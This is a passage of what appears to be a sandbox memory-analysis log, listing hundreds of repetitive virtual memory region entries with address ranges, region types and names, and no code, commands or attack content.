start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12190 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12191 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12192 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12193 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12194 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12195 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12196 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12197 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12198 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12199 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12200 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12201 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12202 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12203 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12204 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12205 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12206 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12207 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12208 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12209 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12210 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12211 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12212 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12213 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12214 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12215 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12216 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12217 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12218 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12219 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12220 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12221 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12222 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12223 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12224 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12226 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12227 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12228 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12230 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12231 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12232 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12234 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12235 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12236 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12238 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12239 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12240 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12242 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12243 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12244 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12245 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12246 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12247 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12248 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12249 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12250 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12251 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12252 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12253 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12254 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12255 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12256 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12257 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12258 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12259 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12260 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12261 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12262 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12263 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12264 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12265 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12266 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12267 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12268 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12269 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12270 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12271 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12272 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12273 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12274 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12275 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12276 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12277 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12278 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12279 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12281 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12282 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12283 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12285 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12286 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12287 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12289 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12290 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12291 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12293 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12294 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12295 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12296 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12297 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12298 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12299 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12300 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12301 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12302 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12303 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12304 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12305 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12306 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12307 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12308 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12309 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12310 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12311 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12312 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12313 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12314 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12315 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12316 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12317 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12318 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12319 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12320 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12321 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12322 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12323 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12324 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12325 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12326 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12327 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12328 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12329 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12330 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12331 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12332 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12333 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12334 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12335 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12336 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12337 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12338 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12339 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12340 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12341 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12342 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12343 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12344 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12345 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12346 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12347 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12348 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12349 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12350 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12351 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12352 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12353 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12354 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12355 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12356 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12357 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12358 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12359 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 12360 start_va = 0x6d0000 end_va = 0x6edfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 12361 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12362 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12363 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12364 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12365 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12366 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12367 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12368 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12369 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12370 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12371 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12372 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12373 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12374 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12375 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12376 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12377 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12378 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 12379 start_va = 0x450000 end_va = 